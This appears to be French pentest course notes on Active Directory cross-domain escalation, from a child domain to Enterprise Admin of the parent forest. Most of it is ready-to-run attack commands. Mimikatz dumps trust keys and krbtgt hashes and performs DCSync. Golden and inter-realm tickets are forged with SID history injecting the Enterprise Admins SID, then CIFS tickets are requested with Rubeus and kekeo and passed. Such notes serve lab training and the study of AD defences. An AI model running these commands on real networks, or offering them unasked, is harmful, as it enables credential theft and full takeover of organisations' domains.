Across Domain

1/ Across Domain

Il existe deux manières de devenir Domain Admin du domaine parent :

  • Obtenir le hash du compte krbtgt

  • Se baser sur des Trust tickets

1.A/ Trust Ticket

Il s'agit de demander l'accès à un service se situant sur un autre domaine :

  1. Demande TGT pour valider l'identité

  2. Réponse du KDC1 par un TGT

  3. Demande de TGS pour le service situé sur l'autre domaine au KDC1

  4. Reponse du KDC1 par un inter-realm TGT = TGT encrypté avec la trust key

  5. Demande TGS avec inter-realm TGT au KDC2 de l'autre domaine. Si le KDC de l'autre domaine arrive à decrypté le inter-realm TGT alors :

  6. Reponse de TGS par le KDC2 pour le service demandé

Avec Mimikatz :

Invoke-Mimikatz -Command '"lsadump::trust /patch"' # A faire depuis le DC

⚠️ Chercher la relation : [IN] Trust Key de domain1.local→ domain2.local

Ou bien :

Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\\<USER>"' # A faire depuis le DC

Avec le compte machine mcorp$ qui est le nom NetBios du domaine parent.

Get-ADComputer mcorp-dc.moneycorp.local

Il nous d'abord retrouver le sid du groupe "enterprise admin" qui n'est d'autre que le sid du Root domain avec le suffix "-519"

Afin de retrouve le sid de ce dernier lancez cette commande:

Get-DomainSID -Domain moneycorp.local 

On peut ensuite récupérer la clef de confiance (Trust Key). Avec cette clef, on peut forger un TGT au nom d'un Domain Admin d'un domaine parent :

Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-519 /rc4:f052addf1d43f864a7d0c21cbce440c9 /service:krbtgt /target:moneycorp.local /ticket:C:\\AD\\Tools\\kekeo_old\\trust_tkt.kirbi"'

On peut ensuite faire une demande de TGS pour le CIFS du DC du domaine parent par exemple :

asktgs.exe "ticket.kirbi" CIFS/mcorp-dc.moneycorp.local

pour loader les ticket en mémoire

.\\kirbikator.exe lsa "ticket.kirbi"

Avec Rubeus :

.\\Rubeus.exe asktgs /ticket:C:\\AD\\Tools\\kekeo_old\\trust_tkt.kirbi /service:cifs/mcorp-dc.moneycorp.local /dc:mcorp-dc.moneycorp.local /ptt

1.B/ Avec le hash du compte KRBTGT du domaine courant :

Invoke-Mimikatz -Command '"lsadump::lsa /patch"'

Création du Golden Ticket :

Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-519 /krbtgt:<HASH> /ticket:C:\\AD\\Tools\\kekeo_old\\trust_tkt.kirbi"'
Invoke-Mimikatz -Command '"kerberos:ptt "ticket.kirbi"

Last updated